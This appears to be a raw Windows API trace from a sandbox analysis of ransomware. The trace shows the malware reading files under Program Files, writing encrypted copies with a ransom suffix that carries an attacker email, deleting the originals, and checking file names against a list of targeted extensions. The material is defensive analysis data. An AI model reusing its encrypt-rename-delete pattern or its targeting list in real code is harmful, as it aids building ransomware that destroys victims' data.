	[0089.557] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x5f4b0, lpOverlapped=0x0) returned 1
	[0089.572] WriteFile (in: hFile=0x39c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x5f4c0, lpOverlapped=0x0) returned 1
	[0089.580] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.580] WriteFile (in: hFile=0x39c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0089.580] SetEndOfFile (hFile=0x39c) returned 1
	[0089.580] CloseHandle (hObject=0x39c) returned 1
	[0089.580] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.580] SetEndOfFile (hFile=0x300) returned 1
	[0089.584] CloseHandle (hObject=0x300) returned 1
	[0089.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0090.136] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1
	[0090.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.137] lstrlenW (lpString=".doc") returned 4
	[0090.137] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.137] lstrlenW (lpString=".docx") returned 5
	[0090.137] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0090.137] lstrlenW (lpString=".pdf") returned 4
	[0090.137] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.137] lstrlenW (lpString=".xls") returned 4
	[0090.137] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.137] lstrlenW (lpString=".xlsx") returned 5
	[0090.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0090.137] lstrlenW (lpString=".ppt") returned 4
	[0090.137] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.139] lstrlenW (lpString=".zip") returned 4
	[0090.139] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.139] lstrlenW (lpString=".rar") returned 4
	[0090.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString=".bz2") returned 4
	[0090.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.140] lstrlenW (lpString=".7z") returned 3
	[0090.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.140] lstrlenW (lpString=".dbf") returned 4
	[0090.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.140] lstrlenW (lpString=".1cd") returned 4
	[0090.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.140] lstrlenW (lpString=".jpg") returned 4
	[0090.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.140] lstrlenW (lpString=".doc") returned 4
	[0090.140] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString=".docx") returned 5
	[0090.140] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0090.140] lstrlenW (lpString=".pdf") returned 4
	[0090.140] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString=".xls") returned 4
	[0090.140] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString=".xlsx") returned 5
	[0090.140] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0090.140] lstrlenW (lpString=".ppt") returned 4
	[0090.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.140] lstrlenW (lpString=".zip") returned 4
	[0090.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString=".rar") returned 4
	[0090.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.140] lstrlenW (lpString=".bz2") returned 4
	[0090.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.141] lstrlenW (lpString=".7z") returned 3
	[0090.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.141] lstrlenW (lpString=".dbf") returned 4
	[0090.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.141] lstrlenW (lpString=".1cd") returned 4
	[0090.141] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0090.141] lstrlenW (lpString=".jpg") returned 4
	[0090.141] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.141] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.141] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0090.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.317] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=23040) returned 1
	[0090.317] CloseHandle (hObject=0x300) returned 1
	[0090.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20
	[0090.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.317] lstrlenW (lpString=".doc") returned 4
	[0090.317] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.317] lstrlenW (lpString=".docx") returned 5
	[0090.317] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.317] lstrlenW (lpString=".pdf") returned 4
	[0090.317] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.317] lstrlenW (lpString=".xls") returned 4
	[0090.317] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.317] lstrlenW (lpString=".xlsx") returned 5
	[0090.317] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.317] lstrlenW (lpString=".ppt") returned 4
	[0090.317] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.317] lstrlenW (lpString=".zip") returned 4
	[0090.317] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.318] lstrlenW (lpString=".rar") returned 4
	[0090.318] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.318] lstrlenW (lpString=".bz2") returned 4
	[0090.318] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.318] lstrlenW (lpString=".7z") returned 3
	[0090.318] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.318] lstrlenW (lpString=".dbf") returned 4
	[0090.318] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.318] lstrlenW (lpString=".1cd") returned 4
	[0090.318] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.318] lstrlenW (lpString=".jpg") returned 4
	[0090.318] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.318] lstrlenW (lpString=".doc") returned 4
	[0090.318] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.318] lstrlenW (lpString=".docx") returned 5
	[0090.318] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.318] lstrlenW (lpString=".pdf") returned 4
	[0090.318] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.318] lstrlenW (lpString=".xls") returned 4
	[0090.318] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.318] lstrlenW (lpString=".xlsx") returned 5
	[0090.318] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.318] lstrlenW (lpString=".ppt") returned 4
	[0090.318] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.318] lstrlenW (lpString=".zip") returned 4
	[0090.318] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.318] lstrlenW (lpString=".rar") returned 4
	[0090.318] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.319] lstrlenW (lpString=".bz2") returned 4
	[0090.319] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.319] lstrlenW (lpString=".7z") returned 3
	[0090.319] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.319] lstrlenW (lpString=".dbf") returned 4
	[0090.319] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.319] lstrlenW (lpString=".1cd") returned 4
	[0090.319] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0090.319] lstrlenW (lpString=".jpg") returned 4
	[0090.319] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.319] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.319] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0090.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.323] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3072) returned 1
	[0090.323] CloseHandle (hObject=0x300) returned 1
	[0090.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20
	[0090.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.326] lstrlenW (lpString=".doc") returned 4
	[0090.326] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.326] lstrlenW (lpString=".docx") returned 5
	[0090.326] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.326] lstrlenW (lpString=".pdf") returned 4
	[0090.326] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.326] lstrlenW (lpString=".xls") returned 4
	[0090.326] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.326] lstrlenW (lpString=".xlsx") returned 5
	[0090.326] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.326] lstrlenW (lpString=".ppt") returned 4
	[0090.326] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.326] lstrlenW (lpString=".zip") returned 4
	[0090.326] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.327] lstrlenW (lpString=".rar") returned 4
	[0090.327] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.327] lstrlenW (lpString=".bz2") returned 4
	[0090.327] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.327] lstrlenW (lpString=".7z") returned 3
	[0090.327] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.327] lstrlenW (lpString=".dbf") returned 4
	[0090.327] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.327] lstrlenW (lpString=".1cd") returned 4
	[0090.327] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.327] lstrlenW (lpString=".jpg") returned 4
	[0090.327] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.327] lstrlenW (lpString=".doc") returned 4
	[0090.327] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.327] lstrlenW (lpString=".docx") returned 5
	[0090.327] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.327] lstrlenW (lpString=".pdf") returned 4
	[0090.327] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.327] lstrlenW (lpString=".xls") returned 4
	[0090.327] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.327] lstrlenW (lpString=".xlsx") returned 5
	[0090.327] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.327] lstrlenW (lpString=".ppt") returned 4
	[0090.327] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.327] lstrlenW (lpString=".zip") returned 4
	[0090.327] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.327] lstrlenW (lpString=".rar") returned 4
	[0090.327] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.327] lstrlenW (lpString=".bz2") returned 4
	[0090.327] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.328] lstrlenW (lpString=".7z") returned 3
	[0090.328] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.328] lstrlenW (lpString=".dbf") returned 4
	[0090.328] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.328] lstrlenW (lpString=".1cd") returned 4
	[0090.328] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0090.328] lstrlenW (lpString=".jpg") returned 4
	[0090.328] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.328] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.328] lstrlenW (lpString="tabskb.dll.mui") returned 14
	[0090.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.330] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5120) returned 1
	[0090.330] CloseHandle (hObject=0x300) returned 1
	[0090.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20
	[0090.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.333] lstrlenW (lpString=".doc") returned 4
	[0090.333] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.333] lstrlenW (lpString=".docx") returned 5
	[0090.333] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.333] lstrlenW (lpString=".pdf") returned 4
	[0090.333] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.333] lstrlenW (lpString=".xls") returned 4
	[0090.334] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.334] lstrlenW (lpString=".xlsx") returned 5
	[0090.334] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.334] lstrlenW (lpString=".ppt") returned 4
	[0090.334] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.334] lstrlenW (lpString=".zip") returned 4
	[0090.334] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.334] lstrlenW (lpString=".rar") returned 4
	[0090.334] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.334] lstrlenW (lpString=".bz2") returned 4
	[0090.334] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.334] lstrlenW (lpString=".7z") returned 3
	[0090.334] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.334] lstrlenW (lpString=".dbf") returned 4
	[0090.334] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.334] lstrlenW (lpString=".1cd") returned 4
	[0090.334] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.334] lstrlenW (lpString=".jpg") returned 4
	[0090.334] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.334] lstrlenW (lpString=".doc") returned 4
	[0090.334] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.334] lstrlenW (lpString=".docx") returned 5
	[0090.334] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.334] lstrlenW (lpString=".pdf") returned 4
	[0090.334] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.334] lstrlenW (lpString=".xls") returned 4
	[0090.334] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.334] lstrlenW (lpString=".xlsx") returned 5
	[0090.335] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.335] lstrlenW (lpString=".ppt") returned 4
	[0090.335] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.335] lstrlenW (lpString=".zip") returned 4
	[0090.335] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.335] lstrlenW (lpString=".rar") returned 4
	[0090.335] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.335] lstrlenW (lpString=".bz2") returned 4
	[0090.335] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.335] lstrlenW (lpString=".7z") returned 3
	[0090.335] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.335] lstrlenW (lpString=".dbf") returned 4
	[0090.335] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.335] lstrlenW (lpString=".1cd") returned 4
	[0090.335] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0090.335] lstrlenW (lpString=".jpg") returned 4
	[0090.335] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.335] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.335] lstrlenW (lpString="TipTsf.dll.mui") returned 14
	[0090.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.337] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3584) returned 1
	[0090.337] CloseHandle (hObject=0x300) returned 1
	[0090.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20
	[0090.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
